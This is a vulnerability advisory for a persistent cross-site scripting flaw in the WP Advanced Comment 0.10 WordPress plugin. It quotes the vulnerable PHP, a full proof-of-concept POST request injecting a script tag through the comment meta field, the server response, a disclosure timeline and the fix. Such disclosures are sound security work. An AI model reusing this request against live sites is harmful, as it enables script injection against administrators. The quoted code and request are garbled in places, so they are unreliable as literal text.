

1. Introduction

```
# Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS
# Date: Mar.09.2016
# Exploit Author: Mohammad Khaleghi
# Contact: https://twitter.com/_blackmatrix
# Vendor: Ravi Shakya
# Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1
# Category: webapps
# Software Link: https://wordpress.org/support/plugin/wp-advance-comment
```

2. Description

WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request, value of "name="comment[meta_value]" " parameter, it's not escaped. XSS is visible for admin

File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php

```
<!-- Show Comments -->
```

```
<?php
if( $option[$id]['other']['comment_position'] == 1 ){

    echo $this->show_like_dislike_button( $value['comment_ID'] ,
    $option[$id]['other'] , 'top' );

    echo '<p>'.$value['comment_content'].'</p>';

    echo $this->show_like_dislike_button( $value['comment_ID'] ,
    $option[$id]['other'] , 'bottom' );

}??>
<!-- Get the comment
meta --> <?php
$data = get_option( 'wpad_comment_form' );

if( !empty( $data[$id] ) ): ?>
    <div
        class="wpad_comment_meta">
        <ul>
            <?php
            foreach( $data[$id] as $key => $value1 ){
                $show_admin = isset($value1['show_admin']) ?
                $value1['show_admin'] : 0; $privelege = $this-
                >check_administrator( $show_admin );

                if( !empty( $value1['meta_key'] ) && is_numeric( $key ) &&
```

```

$value1['meta_key'] != 'user_name' && $value1

['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image'
&& $value1['meta_key'] != 'wpad_comment' &&

$privelage == true ){

    $meta_key =
    $value1['meta_key'];
    $label =
    $value1['label'];

    $meta_value = get_comment_meta( $value['comment_ID'] ,
    $meta_key , true ); if( !empty( $meta_value ) ){
        if( $value1['custom_field'] == 'radio' ){
            $radio_value = $this->get_corresponding_metakey( $value1 ,
            $meta_value , 'radio' ); $this-
            >display_comment metas_frontend( $label , $radio_value );
        } elseif( $value1['custom_field'] == 'checkbox' ){
            $check_value = $this->get_corresponding_metakey( $value1 , $meta_value ,
            'checkbox'
        );
            $this->display_comment metas_frontend( $label ,
            $check_value ); } else {
            $this->display_comment metas_frontend( $label , $meta_value );
        }
    }
}
?>
</u1
>
</div>
<?ph
p
endif;
?>

<!-- Show Comments -->

```

3. Proof of Concept

Request :

```
Host=127.0.0.1:8080
User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.8.0
Accept= */*
X-Requested-With=XMLHttpRequest
Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/
Content-Length=1399
Content-Type=multipart/form-data;
boundary=-----23741051518289624461916684164
```

```
Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne
%7C1455436892%7CVRgNbhd39pxXU1NXcCTkDnTbZTCudBIJlfSocx8yFwh
%7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305
994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne
%7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUR7oY1EU25wIckVKF4sY
%7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43
2ca5b3;
wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne
%7C1455436892%7CVRgNbhd39pxXU1NXcCTkDnTbZTCudBIJlfSocx8yFwh
%7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8
475032; wp-settings-time-1=1454782581; wp-settings-time-
2=1454752438;
wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne
%7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUR7oY1EU25wIckVKF4sY
%7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499
1c180f; wordpress_test_cookie=WP+Cookie+check
```

```
Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache
```

```
POSTDATA =-----23741051518289624461916684164
```

```
Content-Disposition: form-data; name="action"
```

```
wpad_save_comment
```

```
-----
23741051518289624461916684164 Content-
Disposition: form-data; name="post_id"
```

1

23741051518289624461916684164 Content-
Disposition: form-data; name="form_id"

417

23741051518289624461916684164 Content-
Disposition: form-data;
name="email_me_on_approve"

undefined

23741051518289624461916684164 Content-
Disposition: form-data;
name="user_name[meta_value]"

bourne

23741051518289624461916684164 Content-
Disposition: form-data;
name="user_name[meta_key]"

user_name

23741051518289624461916684164 Content-
Disposition: form-data;
name="user_email[meta_value]"

jason_bourne110@yahoo.com

23741051518289624461916684164 Content-
Disposition: form-data;
name="user_email[meta_key]"

user_email

23741051518289624461916684164 Content-
Disposition: form-data;
name="comment[meta_value]"

Hack <script>alert("Hacked")</script>

23741051518289624461916684164 Content-
Disposition: form-data;
name="comment[meta_key]"

comment

23741051518289624461916684164--

Response

Status=OK - 200

Date=Sat, 06 Feb 2016 18:18:43 GMT
Server=Apache X-Frame-
Options=SAMEORIGIN, SAMEORIGIN X-
Powered-By=PHP/5.5.29 X-Robots-
Tag=noindex x-content-type-
options=nosniff Expires=Wed, 11
Jan 1984 05:00:00 GMT

Cache-Control=no-cache, must-
revalidate, max-age=0 Pragma=no-cache

Content-Length=7 Keep-
Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html;
charset=UTF-8

4. Report Timeline

09-03-2016 : Discovered
09-03-2016 : Vendor notified
09-03-2016 : Vendor Responded
09-03-2016 : vendor fixed the problem

5. Solution

Update to version 0.11